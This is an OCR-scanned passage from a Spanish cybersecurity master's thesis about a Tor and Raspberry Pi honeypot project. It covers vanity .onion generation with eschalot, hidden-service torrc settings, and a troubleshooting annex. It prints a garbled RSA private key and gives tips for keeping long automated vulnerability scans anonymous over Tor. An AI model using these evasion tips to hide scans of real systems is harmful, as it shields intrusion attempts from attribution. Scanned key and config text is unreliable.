Escaneo de la red Tor y sus dominios, es capaz de escanear servicios

usando proxychains. (Lewis y MIT)
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Shallot

Fuerza la creacion de dominios .onion personalizados (Katmagic).
Genera una clave privada para meter en el archivo torrc que sera su identidad
Tor. Genera nombres similares, ya que es dificil generarlos completamente
iguales. No hubo éxito en la instalacion debido a que habia errores al
compilarlo, en su lugar se utilizd “eschalot’. El proceso es el mismo, se
descarga de GitHub, se compila y se ejecuta proporcionando la clave del

dominio incluyendo la palabra que queramos.

En la siguiente captura podemos ver la relacion de tiempo con

respecto del tamafo buscado de palabra.

Performance

Table 1. Time to Generate a .onion with a Given Nurnber of [nitial Characters on a 1.5Ghz Processor

characters tirme to generate (approx.)

1 less than 1 second

2 lesz than 1 second
gl lesz than 1 second
4 2 seconds

3 1 minute

3 30 minutes

7 1 day

8 25 days

9 2.5 wears

Figura 113: Performance de tiempos aplicacion Shallot. (Katmagic)

Mediante eschalot (Reclaim Your Privacy (Cloak)) generamos un nombre de
dominio .onion que empiece por unedmuc (Uned Master Universitario en

Ciberseguridad).
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root@debian: /home/deb/Descargas/eschalot-master# ./eschalot -vitd4 -r ““unedmuc*®
Verbose, single result, no digits, 4 threads, prefixes 1-16 characters Long.
Thread #1 started.

Thread #2 started.

Thread #3 started.

Thread #4 started.

Running, collecting performance data...

Total hashes: 324380878, running time: 16 seconds, hashes per second: 3243087
Total hashes: 98331765, running time: 38 seconds, hashes per second: 3277725
Total hashes: 226611159, running time: 78 seconds, hashes per second: 3228738
Total hashes: 482391862, running time: 158 seconds, hashes per second: 3215945
Total hashes: 996927573, running time: 316 seconds, hashes per second: 3215895
Total hashes: 2062668603, running time: 638 seconds, hashes per second: 32740877
Total hashes: 423BB767BS, running time: 1278 seconds, hashes per second: 3337698
Total hashes: B432123818, running time: 2558 seconds, hashes per second: 3386715
Found a key for unedmucoyjezdtbm (16) - unedmucoyjezd4t6bm.onion
unedmucoyjez46bm. onion

----- BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBQQDYDyEBUMBemUT38Nn52216r TekudXn95t PS5 1ymlAuBXpjBLS 05U
YY++G0ohGNCghBOhbgpO361] § L+0kw r+2KROaBdF r20i0+ fw) 1KDAMLxZx 1 I 1KS
5208vrGTdU3bmMTzEFS3e7E1dmeQRECSMSd T t pgkpatBhh rMNBM3INGaWw I EENS+

hwKBgD+Ncj 2 /HD2aDid IKRwIHT L3MKI FPpn3pbgZhswI fYopPIKGZzNptbTO/ Iwp

agFSAMhUnV 7 gkV2ZaYHOPs caZV T FOVicEDAWSXITvnca/ ovIyF+Ly JXSH2 /YTIM]
+XASMUEIMT0adNCeZ 1L 10VH+M4Bv+ngJAlp TcaS0iagmyc 2 bAKEAS ThwwBLLRrZz

BOY] IPZYw2Bx FKEPPS 2661 ] 72FMnVSPRy LyQr/YcKYdM14aryndQgkXcleCobByk
QuZX+CMrfQIBAPIS3ds9dwx67 BELUWULNKY FEVed6VS2q ] Fed5BqPKEINGT FBKVE

WnbPIts/ rb9wCO)rUBSAY cqCB/d9xZTAL ZBCOHd 3UhHWADVD0RZ 3dTTgYMULP kel

cAIubDlhzFt fpoABARYoTOEC /HXGIB] rilykx83 20My6vUiHY I LOyXiiWINBCOBhE

K/ OWu3pedbPOI4 1) xawk+CRSVYYELbDiNbOwNpcc+q 2Ae | o+eEWV4 pXFySxchdoy
TOt1Y¥e5qZh72fTSUYTUCOFctZrZNT g/ I gak0kzDBI ZxdUL ) I h+RY LARhhVmBXE
ZASDXaz3VyettgyLPtd4gy+601ehNwlmdk+ASI1ERAPC=

----- END RSA PRIVATE KEY-----

Figura 114: Generar URL .onion con eschalot.

Mediante esta clave privada, podemos disponer de un dominio en la red Tor.

El dominio seria “unedmucoyjez46bm.onion”. Podemos probar a ponerle en
nuestro archivo de configuracién las lineas abajo nombradas y en la carpeta
tor_service los ficheros “hostname” y “private_key”, en “hostname” pondremos
el “unedmucoyjez46bm.onion” y en “private_key’ la clave generada con

“eschaloft’.

En el archivo torrc, afiadir estas lineas, la primera para decir donde esta el
servicio que aloja hostname y private_key y la segunda la IP local de la maquina y el

puerto compartido.

# Hidden Service

HiddenServiceDir C:\Users\Name\tor_service
HiddenServicePort 80 127.0.0.1:80

Nota: Esto se utilizaria para un proyecto futuro, el de Honeypot y escaneo de

vulnerabilidades dentro de la red Tor (Ver lineas futuras).
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e Compartir puertos

Para compartir puertos, hay que editar el fichero torrc y HiddenServicePort

decirle lo que se quiere publicar, no tiene porque ser servicio Web, puede ser

cualquier otro servicio que no use UDP.

#a#H# CONFIGURAR HIDDEN SERVICES

HiddenServiceDir /home/toruser/tor directory/hidden
iddenServicePort 80 127.0.0.1:2580

#HiddenServicePort 22 127.0.0.1:2522

HiddenServiceDir /home/t: ‘tor directory/hidden
Hidde vicePort
#HiddenServicePort

Figura 115: Compartir puertos en la red Tor

Service

service2

Nota: Este proceso es antiguo y es posible que haya cambiado. En el

siguiente enlace, afirman que el proceso ha cambiado o que

esta en vias de

cambiarlo y es del afio 2018 (Junquera Sanchez y Xll Jornadas STIC CCN-CERT.).

Nota: Esto se utilizaria para un proyecto futuro, el de Honeypot y escaneo de

vulnerabilidades dentro de la red Tor (Ver lineas futuras).

e Torspec:

En Torspec tenemos todas las especificaciones de TOR. (Dingledine et al.)

Anexo G: Problemas encontrados.

En este anexo hemos recopilado los problemas encontrados durante el

trabajo realizado asi como las soluciones.

e Fallo al arrancar TTopng después de instalarlo y apagar la Raspberry.

“Failed to star ntopng.service: Unir ntop.service os masked”
Solucién: Abrir el terminal y ejecutar.
$sudo apt-get update

$sudo apt-get install ntopng

e Si se cambia de interfaz de salida a Internet ethO a pppO o viceversa no

funciona Tor.
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Solucién: Hay que reiniciar el servicio. Se coloca una instruccion en el archivo

de arranque de usuario como se hizo con “wvdial’.
sudo service tor restart

IPv6 dié problemas en alguna de las pruebas, para evitar futuros errores, se
deshabilita.

Solucion:

Editar fichero “/etc/sysctl.conf’ y afiadir la linea
‘net.ipv6.conf.all.disable _ipv6 = 1”

Ejecutar en terminal: $sudo sysctl -p

Ejecutar en terminal: ifconfig para confirmar que no aparecen

direcciones IPVv6.
Poner tarjeta ethO del Honeypot en modo promiscuo.
Solucién: Ejecutar en terminal:

$sudo ip link set eth0 promisc on

Como el problema 2, para que no se solapen “wvdial’ con el inicio de Tor o el
arranque del interfaz ethO, poner una espera de 30 segundos antes de

reiniciar el servicio tor.

Solucion: Editar .bashrc y meter entre “sudo wvdial’ y “sudo service tor

restart’ la linea “sleep 30”

Pérdida de conexion y anonimato. Al realizar escaneos automatizados con las
herramientas que tardan mucho tiempo (Rapidscan), como el circuito de Tor
por defecto se reinicia cada 10 minutos, es conveniente aumentar ese tiempo,
ya que hemos comprobado que pierde el anonimato durante un rato y envia

el escaneo con la IP legitima.

Solucion: Para solucionarlo, en el archivo de configuracion /etc/tor/torrc, hay

que indicarle que el tiempo de renovacidén sea mas amplio.
MaxCircuitDirtiness 3600

Lentitud. Al conectarnos a la red Tor, se nota mucho la latencia del paso a
través de tres nodos Tor. Para solucionarlo en parte, elegimos un nodo mas

cercano fisicamente de salida. Aunque si uno de los nodos de entrada y
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“‘middle” son de otro pais mas alejado o con conexion mas lenta también

influira, pero algo de velocidad ganamos al evitar mas latencia.

Solucién: afadir la siguiente entrada en el archivo /etc/tor/torrc para que los

nodos de salida sean de Espaia, Francia o Portugal.
ExitNodes {ES}{FR}{PO}

Suspension del sistema Kali irrecuperable. Al pasar varios minutos de
inactividad en la Raspberry con Kali instalado, light-locker bloquea la sesion

poniendo la pantalla en negro y no se es capaz de recuperar la sesion.

Solucién: No se pudo recuperar la sesion, pero para que no vuelva a suceder,

desinstalamos light-locker e instalamos xscreensaver.
$sudo apt-get install xscreensaver

Openvas o gvm. La Raspberry Pi 3B no es capaz de ejecutar este programa.
Si en Kali se instala mediante apt-get no aparece la opcion openvas-setup
imprescindible para su configuracién. Se intent6 instalar de varias maneras y

en el resto de Raspberry sin éxito.

Temperatura Raspberry Pi 3B sin ventilador. La caja de la Raspberry Pi 3B no
dispone de ventilador y las necesidades de Kali sobre este dispositivo son tan
elevadas al realizar escaneo de vulnerabilidades junto con el software de

grabacion que salta el sensor de temperatura por encima de los 80°.

Solucion: Se le retira la tapa y no se abusa del tiempo de escaneo unido al

tiempo de grabaciodn, sino que se graba en momentos puntuales y necesarios.

Como el router nos interesa que arranque solo, pero no esta instalado interfaz
grafico, no se produce el autoarranque y no es capaz de ejecutar lo que se

encuentra en el archivo “.bashrc” del usuario Pi.

Solucién: Hay que realizar el proceso del anexo del Router donde

configuramos la parte del autologin.

Kali consume demasiados recursos al lanzar ciertas herramientas de

pentesting como Armitage, Scripts de NMAP, etc.

Solucion: Pasar ese rol a la Raspberry Pi 4 de 2Gb y realizar el enrutamiento
con la RPI 3.
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e En los escaneos de vulnerabilidades, hay que saltarse los que usan UDP,

esto se debe a que no es posible realizarlos en Tor.

e Curl refresca la pagina web cacheada de ipinfo.io con lo que al realizar
escaneos no veiamos nuestra nueva IP proporcionada por Tor, sino la

anterior.

Solucion: Ejecutar curl con el siguiente comando para que no use la caché:
$curl -H ‘CacheControl: no-cache’ ipinfo.io
0

$curl -s --max-time 60 https://apid.ipify.org
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